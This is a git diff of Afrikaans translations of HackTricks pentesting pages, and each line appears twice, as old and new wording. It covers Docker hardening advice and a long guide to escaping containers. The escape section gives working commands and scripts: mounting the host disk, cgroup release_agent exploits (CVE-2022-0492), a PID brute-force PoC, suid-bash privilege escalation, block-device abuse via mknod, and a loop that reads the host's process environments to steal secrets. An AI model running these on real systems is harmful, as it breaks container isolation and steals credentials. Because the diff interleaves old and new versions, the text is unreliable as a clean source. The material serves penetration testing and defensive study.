* **Gebruik** [**amptelike Docker-beelde**](https://docs.docker.com/docker-hub/official\_images/) **en vereis handtekeninge** of bou jou eie gebaseer daarop. Moet nie beelde erf of gebruik wat [agterdeur](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) bevat nie. Berg ook wortelsleutels, wagwoord op 'n veilige plek op. Docker het planne om sleutels met UCP te bestuur.
|
||||
* **Herbou gereeld** jou beelde om **sekuriteitsopdaterings op die gasheer en beelde toe te pas.**
|
||||
* Bestuur jou **geheime wyselik** sodat dit moeilik is vir die aanvaller om daartoe toegang te verkry.
|
||||
* As jy **die Docker-daemon blootstel, gebruik HTTPS** met klient- en bedienerverifikasie.
|
||||
* In jou Docker-lêer, **gee voorkeur aan KOPIEER eerder as BYVOEG.** BYVOEG onttrek outomaties gezipde lêers en kan lêers vanaf URL's kopieer. KOPIEER het nie hierdie vermoëns nie. Vermy waar moontlik die gebruik van BYVOEG sodat jy nie vatbaar is vir aanvalle deur afgeleë URL's en Zip-lêers nie.
|
||||
* **Gebruik** [**amptelike docker-beelde**](https://docs.docker.com/docker-hub/official\_images/) **en vereis handtekeninge** of bou jou eie gebaseer daarop. Moet nie erfenis of [agterdeur](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) beelde gebruik nie. Berg ook wortelsleutels, wagwoord op 'n veilige plek op. Docker het planne om sleutels met UCP te bestuur.
|
||||
* **Herbou gereeld** jou beelde om **sekuriteitspatches op die gasheer en beelde toe te pas.**
|
||||
* Bestuur jou **geheime wyslik** sodat dit moeilik is vir die aanvaller om daartoe toegang te verkry.
|
||||
* As jy die docker-daemon **blootstel, gebruik HTTPS** met klient- en bedienerverifikasie.
|
||||
* In jou Dockerfile, **gee voorkeur aan KOPIE in plaas van VOEG BY**. VOEG BY onttrek outomaties gezip-lêers en kan lêers vanaf URL's kopieer. KOPIE het nie hierdie vermoëns nie. Vermy waar moontlik om VOEG BY te gebruik sodat jy nie vatbaar is vir aanvalle deur afgeleë URL's en Zip-lêers nie.
|
||||
* Het **afsonderlike houers vir elke mikrodiens**
|
||||
* **Moenie ssh** binne die houer sit nie, "docker exec" kan gebruik word om na die houer te ssh.
|
||||
* Het **kleiner** houer **beelde**
|
||||
|
||||
## Docker Uitbreek / Voorreg-escalasie
|
||||
|
||||
As jy **binne 'n Docker-houer is** of jy het toegang tot 'n gebruiker in die **docker-groep**, kan jy probeer om **te ontsnap en voorregte te eskaleer**:
|
||||
As jy **binne 'n docker-houer** is of toegang het tot 'n gebruiker in die **docker-groep**, kan jy probeer om **te ontsnap en voorregte te eskaleer**:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Docker-verifikasiepropbypass
|
||||
## Docker-verifikasie-inprop-deurloop
|
||||
|
||||
As jy toegang het tot die Docker-aansluiting of toegang het tot 'n gebruiker in die **docker-groep maar jou aksies word beperk deur 'n Docker-verifikasieprop**, kyk of jy dit kan **verbygaan:**
|
||||
As jy toegang het tot die docker-socket of toegang het tot 'n gebruiker in die **docker-groep, maar jou aksies word beperk deur 'n docker-verifikasie-inprop**, kyk of jy dit kan **verbygaan:**
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
|
@ -407,23 +407,23 @@ Jy moet die gereedskap vanaf die gasheer wat Docker hardloop of vanaf 'n houer m
|
|||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsgereedskap.\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsgereedskap.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,40 +6,40 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** te dryf met die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Outomatiese Opsomming & Ontsnapping
|
||||
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Dit kan ook **houers opsom**
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Hierdie instrument is baie **nuttig om die houer waarin jy is op te som, selfs om outomaties te probeer ontsnap**
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): Nuttige instrument om die voorregte van die houer te kry om maniere te vind om daaruit te ontsnap
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): Instrument om houers op te som en daaruit te ontsnap
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Hierdie hulpmiddel is baie **nuttig om die houer waarin jy is te opsom en selfs probeer om outomaties te ontsnap**
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): Nuttige hulpmiddel om die voorregte te kry wat die houer het om maniere te vind om daaruit te ontsnap
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): Hulpmiddel om houers te opsom en daaruit te ontsnap
|
||||
* [**grype**](https://github.com/anchore/grype): Kry die CVE's wat in die sagteware geïnstalleer in die beeld bevat word
|
||||
|
||||
## Ontsnapping van Gemoniteerde Docker-sokkel
|
||||
## Gemonteerde Docker Sokkel Ontsnapping
|
||||
|
||||
As jy op een of ander manier vind dat die **docker-sokkel gemoniteer** is binne die docker-houer, sal jy daaruit kan ontsnap.\
|
||||
Dit gebeur gewoonlik in docker-houers wat om een of ander rede moet koppel aan die docker-daemon om aksies uit te voer.
|
||||
As jy op een of ander manier vind dat die **docker-sokkel binne die docker-houer gemonteer is**, sal jy daaruit kan ontsnap.\
|
||||
Dit gebeur gewoonlik in docker-houers wat om een of ander rede moet koppel aan die docker-daemon om aksies uit te voer.
|
||||
```bash
|
||||
#Search the socket
|
||||
find / -name docker.sock 2>/dev/null
|
||||
#It's usually in /run/docker.sock
|
||||
```
|
||||
In hierdie geval kan jy gewone docker-opdragte gebruik om met die docker daemon te kommunikeer:
|
||||
In hierdie geval kan jy gewone docker-opdragte gebruik om met die docker-daemon te kommunikeer:
|
||||
```bash
|
||||
#List images to use one
|
||||
docker images
|
||||
|
@ -54,10 +54,10 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
{% hint style="info" %}
|
||||
In die geval dat die **docker sokket op 'n onverwagte plek** is, kan jy steeds daarmee kommunikeer deur die **`docker`** bevel te gebruik met die parameter **`-H unix:///path/to/docker.sock`**
|
||||
In geval die **docker-socket op 'n onverwagte plek** is, kan jy steeds daarmee kommunikeer deur die **`docker`** bevel te gebruik met die parameter **`-H unix:///path/to/docker.sock`**
|
||||
{% endhint %}
|
||||
|
||||
Die Docker daemon kan ook [luister op 'n poort (standaard 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) of op Systemd-gebaseerde stelsels kan kommunikasie met die Docker daemon plaasvind oor die Systemd sokket `fd://`.
|
||||
Docker daemon kan ook [luister op 'n poort (standaard 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) of op Systemd-gebaseerde stelsels, kan kommunikasie met die Docker daemon plaasvind oor die Systemd-socket `fd://`.
|
||||
|
||||
{% hint style="info" %}
|
||||
Daarbenewens, let op die uitvoeringsokkels van ander hoëvlak-uitvoeringsomgewings:
|
||||
|
@ -72,19 +72,19 @@ Daarbenewens, let op die uitvoeringsokkels van ander hoëvlak-uitvoeringsomgewin
|
|||
|
||||
## Misbruik van Bevoegdhede Ontsnapping
|
||||
|
||||
Jy moet die bevoegdhede van die houer nagaan, as dit een van die volgende het, kan jy daaruit ontsnap: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
Jy moet die bevoegdhede van die houer nagaan, as dit enige van die volgende het, kan jy dalk daaruit ontsnap: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
Jy kan die huidige bevoegdhede van die houer nagaan deur die **voorheen genoemde outomatiese gereedskap** of:
|
||||
Jy kan tans die houerbevoegdhede nagaan deur **voorheen genoemde outomatiese gereedskappe** te gebruik of:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
In die volgende bladsy kan jy **meer leer oor Linux-vermoëns** en hoe om dit te misbruik om voorregte te ontsnap/verhoog:
|
||||
Op die volgende bladsy kan jy **meer leer oor Linux-vermoëns** en hoe om dit te misbruik om voorregte te ontsnap/te verhoog:
|
||||
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Ontsnap uit Bevoorregte Houers
|
||||
## Ontsnap uit Bevoorregte Containers
|
||||
|
||||
'n Bevoorregte houer kan geskep word met die vlag `--privileged` of deur spesifieke verdedigings uit te skakel:
|
||||
|
||||
|
@ -98,7 +98,7 @@ In die volgende bladsy kan jy **meer leer oor Linux-vermoëns** en hoe om dit te
|
|||
* `--cgroupns=host`
|
||||
* `Mount /dev`
|
||||
|
||||
Die `--privileged` vlag verminder aansienlik die veiligheid van die houer, deur **ongeoorloofde toegang tot toestelle** te bied en **verskeie beskermings te omseil**. Vir 'n gedetailleerde uiteensetting, verwys na die dokumentasie oor die volle impakte van `--privileged`.
|
||||
Die `--privileged` vlag verlaag houer-sekuriteit aansienlik, deur **ongelimiteerde toegang tot toestelle** te bied en **veral beskermings te omseil**. Vir 'n gedetailleerde uiteensetting, verwys na die dokumentasie oor die volle impakte van `--privileged`.
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
|
@ -106,36 +106,36 @@ Die `--privileged` vlag verminder aansienlik die veiligheid van die houer, deur
|
|||
|
||||
### Bevoorregte + hostPID
|
||||
|
||||
Met hierdie toestemmings kan jy net **beweeg na die naamruimte van 'n proses wat as root in die gasheer hardloop**, soos init (pid:1), deur net die volgende uit te voer: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
Met hierdie toestemmings kan jy net **beweeg na die namespace van 'n proses wat as root op die gasheer hardloop**, soos init (pid:1) deur net te hardloop: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
Toets dit in 'n houer deur die volgende uit te voer:
|
||||
Toets dit in 'n houer deur uit te voer:
|
||||
```bash
|
||||
docker run --rm -it --pid=host --privileged ubuntu bash
|
||||
```
|
||||
### Bevoorreg
|
||||
|
||||
Net met die bevoorregte vlag kan jy probeer om **toegang tot die gasheer se skyf** te verkry of probeer om te **ontsnap deur misbruik te maak van release\_agent of ander ontsnappings**.
|
||||
Net met die bevoorregte vlag kan jy probeer om **toegang tot die gasheer se skyf** te kry of probeer **ontsnapping deur die release\_agent of ander ontvlugtings te misbruik**.
|
||||
|
||||
Toets die volgende omseilings in 'n houer uit te voer:
|
||||
Toets die volgende omseilings in 'n houer uitvoer:
|
||||
```bash
|
||||
docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
#### Monteer Disk - Poc1
|
||||
|
||||
Goed geconfigureerde Docker-houders sal nie opdragte soos **fdisk -l** toelaat nie. Tog, op 'n verkeerd gekonfigureerde Docker-opdrag waar die vlag `--privileged` of `--device=/dev/sda1` met kapasiteit gespesifiseer word, is dit moontlik om die voorregte te verkry om die gasheer-aandrywing te sien.
|
||||
Goed geconfigureerde docker-houers sal nie opdragte soos **fdisk -l** toelaat nie. Tog, op 'n verkeerd gekonfigureerde docker-opdrag waar die vlag `--privileged` of `--device=/dev/sda1` met kapitalisering gespesifiseer is, is dit moontlik om die regte te kry om die gas-aandrywing te sien.
|
||||
|
||||

|
||||
|
||||
Om dus die gasheer-rekenaar oor te neem, is dit eenvoudig:
|
||||
Dus, om die gasmasjien oor te neem, is dit triviaal:
|
||||
```bash
|
||||
mkdir -p /mnt/hola
|
||||
mount /dev/sda1 /mnt/hola
|
||||
```
|
||||
En voilà! Jy kan nou toegang verkry tot die lêersisteem van die gasheer omdat dit in die `/mnt/hola`-vouer gemoniteer is.
|
||||
En voilà! Jy kan nou toegang kry tot die lêersisteem van die gasheer omdat dit in die `/mnt/hola`-vouer gemoniteer is.
|
||||
|
||||
#### Monteer Disk - Poc2
|
||||
#### Montering van Skyf - Poc2
|
||||
|
||||
Binne die houer kan 'n aanvaller probeer om verdere toegang tot die onderliggende gasheer-bedryfstelsel te verkry deur 'n skryfbare hostPath-volume wat deur die groep geskep is. Hieronder is 'n paar algemene dinge wat jy binne die houer kan nagaan om te sien of jy hierdie aanvallervektor kan benut:
|
||||
Binne die houer kan 'n aanvaller probeer om verdere toegang tot die onderliggende gasheer-OS te verkry deur 'n skryfbare hostPath-volume wat deur die groep geskep is. Hieronder is 'n paar algemene dinge wat jy binne die houer kan nagaan om te sien of jy hierdie aanvallervektor kan benut:
|
||||
```bash
|
||||
### Check if You Can Write to a File-system
|
||||
echo 1 > /proc/sysrq-trigger
|
||||
|
@ -192,11 +192,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
|||
# Reads the output
|
||||
cat /o
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Bevoorregte Ontsnapping deur die skepping van 'n release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
|
||||
{% code title="Tweede PoC" %}
|
||||
#### Bevoorregte Ontsnapping deur die skepping van release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
```bash
|
||||
# On the host
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
|
@ -246,9 +242,9 @@ Vind 'n **verduideliking van die tegniek** in:
|
|||
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Bevoorregte Ontsnapping deur release\_agent te misbruik sonder om die relatiewe pad te ken - PoC3
|
||||
#### Bevoorregte Ontsnapping deur die release\_agent te misbruik sonder om die relatiewe pad te ken - PoC3
|
||||
|
||||
In die vorige aanvalle word die **absoluut pad van die houer binne die gasheer se lêersisteem bekend gemaak**. Dit is egter nie altyd die geval nie. In gevalle waar jy **nie die absoluut pad van die houer binne die gasheer ken nie** kan jy hierdie tegniek gebruik:
|
||||
In die vorige aanvalle is die **absoluite pad van die houer binne die gasheer se lêersisteem bekendgemaak**. Dit is egter nie altyd die geval nie. In gevalle waar jy **nie die absoluite pad van die houer binne die gasheer ken nie** kan jy hierdie tegniek gebruik:
|
||||
|
||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||
|
@ -312,7 +308,7 @@ sleep 1
|
|||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
Die uitvoering van die PoC binne 'n bevoorregte houer moet 'n uitset gee wat soortgelyk is aan:
|
||||
Die uitvoering van die PoC binne 'n bevoorregte houer behoort uitset te lewer soortgelyk aan:
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
|
@ -340,10 +336,10 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
|||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
#### Bevoorregte Ontsnapping deur Misbruik van Sensitiewe Monteerplekke
|
||||
#### Bevoorregte Ontsnapping deur Misbruik van Sensitiewe Monterings
|
||||
|
||||
Daar is verskeie lêers wat gemonteer kan word wat **inligting oor die onderliggende gasheer gee**. Sommige van hulle kan selfs **aandui dat iets deur die gasheer uitgevoer moet word wanneer iets gebeur** (wat 'n aanvaller in staat sal stel om uit die houer te ontsnap).\
|
||||
Die misbruik van hierdie lêers kan veroorsaak dat:
|
||||
Daar is verskeie lêers wat gemonteer kan word wat **inligting oor die onderliggende gasheer** gee. Sommige van hulle kan selfs aandui **iets wat deur die gasheer uitgevoer moet word wanneer iets gebeur** (wat 'n aanvaller in staat sal stel om uit die houer te ontsnap).\
|
||||
Die misbruik van hierdie lêers kan dit moontlik maak dat:
|
||||
|
||||
* release\_agent (reeds voorheen gedek)
|
||||
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||
|
@ -351,22 +347,22 @@ Die misbruik van hierdie lêers kan veroorsaak dat:
|
|||
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
|
||||
Jy kan egter **ander sensitiewe lêers** vind om na te kyk op hierdie bladsy:
|
||||
Jy kan egter **ander sensitiewe lêers** vind om vir te kyk op hierdie bladsy:
|
||||
|
||||
{% content-ref url="sensitive-mounts.md" %}
|
||||
[sensitive-mounts.md](sensitive-mounts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Willekeurige Monteerplekke
|
||||
### Willekeurige Monterings
|
||||
|
||||
In verskeie gevalle sal jy vind dat die **houer 'n volume van die gasheer gemonteer het**. As hierdie volume nie korrek gekonfigureer is nie, kan jy dalk **toegang verkry tot/wysiging maak aan sensitiewe data**: Lees geheime, verander ssh authorized\_keys...
|
||||
In verskeie gevalle sal jy vind dat die **houer 'n volume van die gasheer gemonteer het**. As hierdie volume nie korrek geconfigureer is nie, kan jy moontlik **toegang verkry/wysig tot sensitiewe data**: Lees geheime, verander ssh authorized\_keys...
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
### Voorregverhoging met 2 doppe en gasheer monteer
|
||||
### Voorregverhoging met 2 doppe en gasheerberg
|
||||
|
||||
As jy toegang het as **root binne 'n houer** wat 'n paar vouers van die gasheer gemonteer het en jy het **ontsnap as 'n nie-bevoorregte gebruiker na die gasheer** en het leestoegang oor die gemonteerde vouer.\
|
||||
Jy kan 'n **bash suid-lêer** skep in die **gemonteerde vouer** binne die **houer** en dit vanaf die gasheer **uitvoer** om voorregverhoging te bewerkstellig.
|
||||
Indien jy toegang het as **root binne 'n houer** wat 'n paar vouers van die gasheerberg gemonteer het en jy het **ontvlug as 'n nie-bevoorregte gebruiker na die gasheer** en het leestoegang oor die gemonteerde vouer.\
|
||||
Jy kan 'n **bash suid-lêer** skep in die **gemonteerde vouer** binne die **houer** en dit **uitvoer vanaf die gasheer** vir voorregverhoging.
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||
|
@ -374,12 +370,12 @@ chown root:root bash #From container as root inside mounted folder
|
|||
chmod 4777 bash #From container as root inside mounted folder
|
||||
bash -p #From non priv inside mounted folder
|
||||
```
|
||||
### Voorregverhoging met 2 skulpe
|
||||
### Voorregskaping met 2 doppe
|
||||
|
||||
As jy toegang het as **root binne 'n houer** en jy het **ontsnap as 'n nie-bevoorregte gebruiker na die gasheer**, kan jy beide skulpe misbruik om **voorregverhoging binne die gasheer** te bewerkstellig as jy die MKNOD-vermoë binne die houer het (dit is standaard) soos [**verduidelik in hierdie pos**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Met so 'n vermoë word die root-gebruiker binne die houer toegelaat om **bloktoestel-lêers te skep**. Toestel-lêers is spesiale lêers wat gebruik word om **onderliggende hardeware- en kernmodules te benader**. Byvoorbeeld, die /dev/sda bloktoestel-lêer gee toegang om **die rou data op die stelsel se skyf te lees**.
|
||||
Indien jy toegang het as **root binne 'n houer** en jy het **ontsnap as 'n nie-bevoorregte gebruiker na die gasheer**, kan jy beide doppe misbruik om **voorregskaping binne die gasheer** te bewerkstellig as jy die vermoë MKNOD binne die houer het (dit is standaard) soos [**verduidelik in hierdie pos**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Met so 'n vermoë word die root-gebruiker binne die houer toegelaat om **bloktoestel lêers te skep**. Toestel lêers is spesiale lêers wat gebruik word om **onderliggende hardeware & kernel modules te benader**. Byvoorbeeld, die /dev/sda bloktoestel lêer gee toegang om **die rou data op die stelsel se skyf te lees**.
|
||||
|
||||
Docker beskerm teen misbruik van bloktoestelle binne houers deur 'n cgroup-beleid af te dwing wat **bloktoestel lees-/skryfhandelinge blokkeer**. Nietemin, as 'n bloktoestel **binne die houer geskep word**, word dit toeganklik van buite die houer via die **/proc/PID/root/** gids. Hierdie toegang vereis dat die **proses-eienaar dieselfde is** binne en buite die houer.
|
||||
Docker beskerm teen misbruik van bloktoestelle binne houers deur 'n cgroup beleid af te dwing wat **bloktoestel lees/skryf operasies blokkeer**. Nietemin, as 'n bloktoestel binne die houer **geskep word**, word dit toeganklik van buite die houer via die **/proc/PID/root/** gids. Hierdie toegang vereis dat die **proses eienaar dieselfde is** binne en buite die houer.
|
||||
|
||||
**Uitbuiting** voorbeeld van hierdie [**verslag**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
```bash
|
||||
|
@ -419,13 +415,13 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
|||
```
|
||||
### hostPID
|
||||
|
||||
As jy toegang het tot die prosesse van die gasheer, sal jy toegang hê tot baie sensitiewe inligting wat in daardie prosesse gestoor word. Voer toetslaboratorium uit:
|
||||
As jy toegang het tot die prosesse van die gasheer, sal jy in staat wees om baie sensitiewe inligting wat in daardie prosesse gestoor word, te benader. Voer toets laboratorium uit:
|
||||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
Byvoorbeeld, sal jy in staat wees om die prosesse te lys deur iets soos `ps auxn` te gebruik en te soek na sensitiewe besonderhede in die opdragte.
|
||||
Byvoorbeeld, sal jy in staat wees om die prosesse te lys wat iets soos `ps auxn` gebruik en te soek na sensitiewe besonderhede in die opdragte.
|
||||
|
||||
Dan, aangesien jy **toegang het tot elke proses van die gasheer in /proc/, kan jy net hul omgewingsgeheime steel** deur die volgende uit te voer:
|
||||
Dan, aangesien jy **toegang tot elke proses van die gasheer in /proc/ kan kry, kan jy net hul omgewingsgeheime steel** deur uit te voer:
|
||||
```bash
|
||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
|
@ -447,79 +443,79 @@ cat /proc/635813/fd/4
|
|||
Jy kan ook **prosesse doodmaak en 'n DoS veroorsaak**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
As jy op een of ander manier bevoorregte **toegang het tot 'n proses buite die houer**, kan jy iets soos `nsenter --target <pid> --all` of `nsenter --target <pid> --mount --net --pid --cgroup` hardloop om **'n skul met dieselfde ns-beperkings** (hopelik geen) **as daardie proses** uit te voer.
|
||||
As jy op een of ander manier bevoorregte **toegang oor 'n proses buite die houer** het, kan jy iets soos `nsenter --target <pid> --all` of `nsenter --target <pid> --mount --net --pid --cgroup` hardloop om 'n skul met dieselfde ns-beperkings (hopelik geen) **as daardie proses** te hardloop.
|
||||
{% endhint %}
|
||||
|
||||
### hostNetwork
|
||||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
